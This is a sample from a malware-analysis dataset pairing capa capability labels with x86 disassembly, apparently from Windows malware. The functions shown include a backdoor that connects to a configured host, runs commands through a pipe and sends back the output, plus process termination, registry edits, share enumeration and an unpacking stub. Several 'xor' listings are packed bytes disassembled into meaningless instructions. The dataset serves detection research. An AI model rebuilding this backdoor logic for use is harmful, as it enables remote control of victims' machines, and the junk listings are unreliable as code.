joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402a80
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x409008], 0x8088405
inc edx
mov dword [ebx + 0x409008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x402d44
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x409014]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402ddc
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402dbc
xor eax, eax
push ebp
push 0x402db5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402df8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402dbc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x409014]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x409014], ax
mov esp, ebp
pop ebp
ret

Function at 0x4035e8
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40a034], 0
je 0x403649
cmp word [0x40a208], 0xd7b2
jne 0x403611
cmp dword [0x40a210], 0
jbe 0x403611
mov eax, 0x40a204
call dword [0x40a220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x409080
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403670
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x409020], 0
jne 0x403665
push 0
push 0x409078
push 0x409080
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x4040b4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40411a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004038c0
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402c38
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x404104
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404121
lea eax, [ebp - 0x10]
call fcn.00403764
ret
Function at 0x404e00
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe68
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ac8
xor eax, eax
push ebp
push 0x404ec7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.00403764
lea eax, [ebp - 0x198]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x404e8b
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
call fcn.00403ad8
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x404e81
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x404e7a
push dword [edi]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, dword [ebp - 8]
call fcn.00403884
inc ebx
mov edi, dword [esi + ebx*4]
test edi, edi
jne 0x404e68
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x404e95
mov ebx, 0x404ed8
push 0x404ee4
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
push ebx
push esi
call sub.kernel32.dll_GetProcAddress
mov ebx, eax
call ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404ece
lea eax, [ebp - 4]
call fcn.00403764
ret

Function at 0x405100
Capabilities:
Get socket status

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, eax
mov dword [esp], 0x78
xor eax, eax
mov dword [esp + 4], eax
lea eax, [esp + 8]
call fcn.0040454c
lea edx, [esp + 8]
mov eax, ebx
call fcn.0040453c
push esp
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
call sub.wsock32.dll_select
test eax, eax
jg 0x40514a
push ebx
call sub.wsock32.dll_closesocket
or eax, 0xffffffff
jmp 0x40514c
xor eax, eax
add esp, 0x10c
pop ebx
ret
Function at 0x40562c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
mov ebx, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ac8
mov eax, dword [ebp - 8]
call fcn.00403ac8
xor eax, eax
push ebp
push 0x4056e4
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00405154
test eax, eax
je 0x4056bd
push 1
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00403ad8
push eax
push 0x4056f0
push 0
call sub.shell32.dll_ShellExecuteA
push 0x405700
push dword [ebp - 0xc]
push 0x405714
push dword [ebp - 8]
push 0x405724
push dword [ebp - 0x10]
push 0x405734
mov eax, ebx
mov edx, 7
call fcn.00403998
jmp 0x4056c9
mov eax, ebx
mov edx, 0x405740
call fcn.004037b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4056eb
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00403788
ret

Function at 0x4058ac
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403ac8
mov eax, dword [ebp - 8]
call fcn.00403ac8
mov eax, dword [ebp + 8]
call fcn.00403ac8
xor eax, eax
push ebp
push 0x405945
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00403ad8
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyA
mov ebx, 0x800
push ebx
lea eax, [ebp + 8]
call fcn.00403b30
push eax
push 1
push 0
mov eax, dword [ebp - 8]
call fcn.00403ad8
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40594c
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403788
lea eax, [ebp + 8]
call fcn.00403764
ret

Function at 0x405954
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00403ac8
mov eax, dword [ebp - 8]
call fcn.00403ac8
xor eax, eax
push ebp
push 0x4059ca
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00403ad8
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyA
mov eax, dword [ebp - 8]
call fcn.00403ad8
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegDeleteValueA
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4059d1
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403788
ret
Function at 0x405ac4
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x405acd
mov eax, dword [ebp - 4]
add esp, 0xffffffe4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x8018], ebx
mov dword [ebp - 0x801c], ebx
mov dword [ebp - 0x8020], ebx
mov dword [ebp - 0x14], ebx
mov edi, ecx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x405c45
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push 0
push 0
push 2
call sub.mpr.dll_WNetOpenEnumA
mov dword [ebp - 0xc], 0x400
mov dword [ebp - 0x10], 0x8000
jmp 0x405bf6
mov si, word [ebp - 0xc]
dec esi
test si, si
jb 0x405bf6
inc esi
lea ebx, [ebp - 0x800c]
cmp dword [ebx], 2
jne 0x405bbc
lea edx, [ebp - 0x8018]
mov eax, 0xa
call fcn.00405874
push dword [ebp - 0x8018]
push 0x405c5c
lea eax, [ebp - 0x801c]
mov edx, dword [ebx + 0xc]
call fcn.00403884
push dword [ebp - 0x801c]
push 0x405c68
lea eax, [ebp - 0x8020]
mov edx, dword [ebx + 0x10]
call fcn.00403884
push dword [ebp - 0x8020]
push 0x405c74
lea eax, [ebp - 0x14]
mov edx, 6
call fcn.00403998
mov edx, dword [edi]
mov eax, dword [ebp - 0x14]
call fcn.00403c1c
test eax, eax
jne 0x405bbc
mov eax, edi
mov edx, dword [ebp - 0x14]
call fcn.004038e0
cmp dword [ebx + 4], 0
jbe 0x405bea
lea ecx, [ebp - 0x14]
lea eax, [ebx - 8]
mov edx, 1
call fcn.00405ac4
mov edx, dword [edi]
mov eax, dword [ebp - 0x14]
call fcn.00403c1c
test eax, eax
jne 0x405bea
mov eax, edi
mov edx, dword [ebp - 0x14]
call fcn.004038e0
add ebx, 0x20
dec si
jne 0x405b45
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x8014]
push eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.mpr.dll_WNetEnumResourceA
test eax, eax
je 0x405b30
mov eax, dword [ebp - 8]
push eax
call sub.mpr.dll_WNetCloseEnum
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405c4c
lea eax, [ebp - 0x8020]
mov edx, 3
call fcn.00403788
lea eax, [ebp - 0x14]
call fcn.00403764
ret

Function at 0x40673c
Capabilities:
Initialize winsock library

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffe5c
mov esi, edx
mov ebx, eax
lea eax, [esp + 4]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov dword [esp], 0x10
push esp
lea eax, [esp + 0x198]
push eax
push ebx
call sub.wsock32.dll_getpeername
mov eax, 0x4067bc
mov dword [0x40a754], eax
push 0x4067c8
call sub.kernel32.dll_LoadLibraryA
mov dword [0x40a758], eax
mov eax, dword [0x40a754]
push eax
mov eax, dword [0x40a758]
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [0x40a760], eax
call dword [0x40a760]
mov edi, esi
lea esi, [esp + 0x194]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
add esp, 0x1a4
pop edi
pop esi
pop ebx
ret
Function at 0x407094
Capabilities:
Send data
Send data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ac8
xor eax, eax
push ebp
push 0x407170
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00405868
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov ebx, eax
push 0
push ebx
call sub.kernel32.dll_TerminateProcess
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x407109
lea edx, [ebp - 0xc]
mov eax, 0x12
call fcn.00405874
push dword [ebp - 0xc]
push 0x407184
push dword [ebp - 4]
push 0x407190
lea eax, [ebp - 8]
mov edx, 4
call fcn.00403998
jmp 0x407133
lea edx, [ebp - 0x10]
mov eax, 0x12
call fcn.00405874
push dword [ebp - 0x10]
push 0x407184
push dword [ebp - 4]
push 0x40719c
lea eax, [ebp - 8]
mov edx, 4
call fcn.00403998
push 0
mov eax, dword [ebp - 8]
call fcn.004038d8
push eax
lea eax, [ebp - 8]
call fcn.00403b30
push eax
mov eax, dword [0x40a728]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407177
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00403788
ret
Function at 0x4071c0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff8c
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x74], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ac8
xor eax, eax
push ebp
push 0x40731d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x14], 0xffffffff
xor eax, eax
mov dword [ebp - 0x18], eax
push 0
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
call sub.kernel32.dll_CreatePipe
test eax, eax
je 0x4072ff
mov eax, 0x5dc1
call fcn.004071a0
mov ebx, eax
lea eax, [ebp - 0x60]
xor ecx, ecx
mov edx, 0x44
call fcn.00402a60
mov dword [ebp - 0x60], 0x44
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], 0x101
mov word [ebp - 0x30], 0
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x20
push 0xffffffffffffffff
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 4]
call fcn.00403ad8
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x4072d4
push 0x64
mov eax, dword [ebp - 0x70]
push eax
call sub.kernel32.dll_WaitForSingleObject
cmp eax, 0x102
je 0x40727d
xor eax, eax
mov dword [ebp - 0x10], eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0x5dc0
push ebx
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_ReadFile_1
mov eax, dword [ebp - 0x10]
mov byte [ebx + eax], 0
push ebx
push ebx
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x74]
mov edx, ebx
call fcn.00403884
mov edx, dword [ebp - 0x74]
mov eax, esi
call fcn.004038e0
cmp dword [ebp - 0x10], 0x5dc0
jae 0x40728f
mov eax, ebx
call fcn.00402500
mov eax, dword [ebp - 0x70]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x6c]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407324
lea eax, [ebp - 0x74]
call fcn.00403764
lea eax, [ebp - 4]
call fcn.00403764
ret
Function at 0x407e30
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get hostname
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x4c], edx
mov ebx, eax
mov esi, 0x40a754
mov edi, 0x40a758
xor eax, eax
push ebp
push 0x407ff9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebx + 0x18]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov byte [0x40a744], 0
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebx + 4], eax
mov word [ebx + 8], 2
mov eax, 0x408008
mov dword [esi], eax
push 0x408010
call sub.kernel32.dll_LoadLibraryA
mov dword [edi], eax
mov eax, dword [esi]
push eax
mov eax, dword [edi]
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [0x40a75c], eax
mov ax, word [0x4090d4]
push eax
call dword [0x40a75c]
mov word [ebx + 0xa], ax
mov eax, dword [0x4090cc]
call fcn.00403ad8
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebx + 0xc], eax
push 0x46
lea eax, [ebp - 0x46]
push eax
call sub.wsock32.dll_gethostname
mov eax, 0x40a74c
lea edx, [ebp - 0x46]
mov ecx, 0x46
call fcn.004038c0
push 0x10
lea eax, [ebx + 8]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_connect
test eax, eax
jne 0x407f94
push 0x408024
push dword [0x4090d0]
push 0x408030
lea eax, [ebp - 0x4c]
mov edx, 3
call fcn.00403998
mov edx, dword [ebp - 0x4c]
mov eax, ebx
call fcn.00407dd0
mov edx, 0x40803c
mov eax, ebx
call fcn.00407dd0
push 0x408050
lea edx, [ebp - 0x54]
mov eax, ebx
call fcn.00405e44
push dword [ebp - 0x54]
push 0x408030
lea eax, [ebp - 0x50]
mov edx, 3
call fcn.00403998
mov edx, dword [ebp - 0x50]
mov eax, ebx
call fcn.00407dd0
push 0x40805c
push dword [0x40a74c]
push 0x408030
lea eax, [ebp - 0x58]
mov edx, 3
call fcn.00403998
mov edx, dword [ebp - 0x58]
mov eax, ebx
call fcn.00407dd0
mov eax, ebx
call fcn.004073c0
push 0xbb8
call sub.kernel32.dll_Sleep
mov eax, 0x40a748
call fcn.00403764
cmp byte [0x40a744], 0
je 0x407e76
mov eax, 0x408060
mov dword [esi], eax
push 0x408010
call sub.kernel32.dll_LoadLibraryA
mov dword [edi], eax
mov eax, dword [esi]
push eax
mov eax, dword [edi]
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [0x40a760], eax
call dword [0x40a760]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408000
lea eax, [ebp - 0x58]
mov edx, 4
call fcn.00403788
ret

Function at 0x408148
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, 0x4080d8
call fcn.00404314
xor eax, eax
push ebp
push 0x4081a8
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x40580c]
call fcn.00402e4c
mov dword [0x40a728], eax
jmp 0x408183
push 0x1388
call sub.kernel32.dll_Sleep
push 0
push 0
call sub.wininet.dll_InternetGetConnectedState
test eax, eax
je 0x408179
mov eax, dword [0x40a728]
call fcn.00407e30
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4081af
ret
Function at 0x401000
Capabilities:
Hash data with crc32

Disassembly:
mov al, byte [0x439cf8]
test al, al
jne 0x401040
push esi
xor edx, edx
mov ecx, 0x4398f8
mov eax, edx
mov esi, 8
test al, 1
je 0x401025
shr eax, 1
xor eax, 0xedb88320
jmp 0x401027
shr eax, 1
dec esi
jne 0x401018
mov dword [ecx], eax
add ecx, 4
inc edx
cmp ecx, 0x439cf8
jl 0x401011
mov byte [0x439cf8], 1
pop esi
ret

Function at 0x401060
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, eax
dec eax
test ecx, ecx
je 0x4010a2
mov ecx, dword [esp + 8]
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
lea edi, [eax + 1]
mov eax, dword [esi]
mov dl, byte [ecx]
mov ebx, eax
and edx, 0xff
and ebx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x4398f8]
xor edx, eax
inc ecx
dec edi
mov dword [esi], edx
jne 0x401079
pop edi
pop esi
pop ebx
ret
Function at 0x406480
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
call fcn.00407920
test eax, eax
jge 0x406496
push eax
mov ecx, esi
call fcn.00407f50
pop esi
ret
mov eax, dword [esi]
push ebx
push edi
mov edi, dword [0x42c1bc]
push 0
push 0x3eb
push eax
call edi
mov ebx, dword [0x42c1c0]
push eax
call ebx
mov ecx, dword [esi]
push 0
push 0x3ec
push ecx
call edi
push eax
call ebx
push 0
mov ecx, esi
call fcn.004083d0
mov edx, dword [esi]
push 0
push 1
push edx
call edi
push eax
call ebx
push esi
push 0
push 0x401dc0
call fcn.0040d8b1
add esp, 0xc
pop edi
pop ebx
pop esi
ret
Function at 0x420dcb
Capabilities:
Encode data using xor

Disassembly:
out 0xc6, al
jecxz 0x420dc9
pop edi
outsd dx, dword [esi]
outsb dx, byte [esi]
movzx edx, byte [esi + 0x68]
add eax, 0x803646a7
stosd dword es:[edi], eax
salc
jo 0x420de9
inc ebx
adc ah, al
xor bh, byte [eax + 0x33]
jge 0x420e42
mov eax, dword [0xb3e813be]
stc
mov bl, 0xf9
xchg byte [edi], ah
sub edi, 0x43
daa
in eax, dx
add eax, 0xe2a51779
mul dword [ebp + 0x363e798]
jmp ebx
lodsd eax, dword [esi]
pop ebp
std
mov bh, 0x96
enter 0x7e0c, 0x5c
in al, dx
cmc
mov cl, 0xf1
cmpsb byte [esi], byte es:[edi]
pop esi
or eax, dword [esi - 0xf8d3aa5]
lds edx, [0x22514060]
sub al, bl
push ecx
push 0xffffffffffffff94
mov edi, 0x7215e3bd
xor dword [ebp - 7], ebx
invalid
Function at 0x435420
Capabilities:
Encode data using xor

Disassembly:
lahf
fistp word [eax - 5]
sbb edx, esp
sbb ch, ah
xor dword [ebp + edi + 0x23], esi
fnstsw word [edx + 0x2f059207]
mov byte [0x176e77c7], al
and esi, dword [ecx + 0x5bffafd3]
jbe 0x432fcd
pop ebp
pop ds
add edx, dword [ecx - 0x50596831]
adc ecx, ebp
invalid
inc ebx
sub byte [edi + 0x66], bh
cli
rol byte [edi - 0x241d0999], 0x4f
jns 0x432fc5
jmp 0x433078
test byte [eax - 0x23], bl
cmc
shr ebx, cl
xchg edi, eax
rol dword [edx - 0x79f7143d], cl
adc al, al
xlatb
and bl, al
inc esi
out dx, eax
sal dword [eax], cl
push ecx
dec eax
push ebp
aas
and eax, dword [ebx - 0x4af43a42]
push ebx
mov ebx, 0xf751411f
aaa
or esp, dword [esi - 0x63]
insb byte es:[edi], dx
mov bh, dh
invalid
pushal
mov esi, 0x42b015
lea edi, [esi - 0x2a015]
push edi
jmp 0x43543a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x435441
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x435430
mov eax, 1
add ebx, ebx
jne 0x435453
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x435448
jne 0x435464
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x435448
xor ecx, ecx
sub eax, 3
jb 0x435478
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4354ea
mov ebp, eax
add ebx, ebx
jne 0x435483
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x435490
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4354b4
inc ecx
add ebx, ebx
jne 0x4354a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x435495
jne 0x4354b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x435495
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4354d4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4354c5
jmp 0x435436
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4354d4
add edi, ecx
jmp 0x435436
pop esi
mov edi, esi
mov ecx, 0xf3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4354f2
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4354f7
lea edi, [esi + 0x33000]
mov eax, dword [edi]
or eax, eax
je 0x43555f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x35000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x350e0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x43551d
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x350e8]
or eax, eax
je 0x435559
mov dword [ebx], eax
add ebx, 4
jmp 0x43553a
call dword [esi + 0x350e4]
mov ebp, dword [esi + 0x350ec]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x435593
sub esp, 0xffffff80
jmp 0x433000
Function at 0x414690
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x480164]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x41474c
cmp byte [esi + 0x3d], 0
je 0x41474c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x41473a
mov ecx, dword [esi + 0x38]
mov eax, dword [ecx]
mov edx, dword [eax + 0x20]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call edx
sub eax, 0
je 0x414702
sub eax, 1
je 0x414706
sub eax, 2
jne 0x41473a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043c625
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x414723
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.0044582e
add esp, 0x10
cmp edi, eax
jne 0x41473a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043c625
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043c625
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.0043c625
mov esp, ebp
pop ebp
ret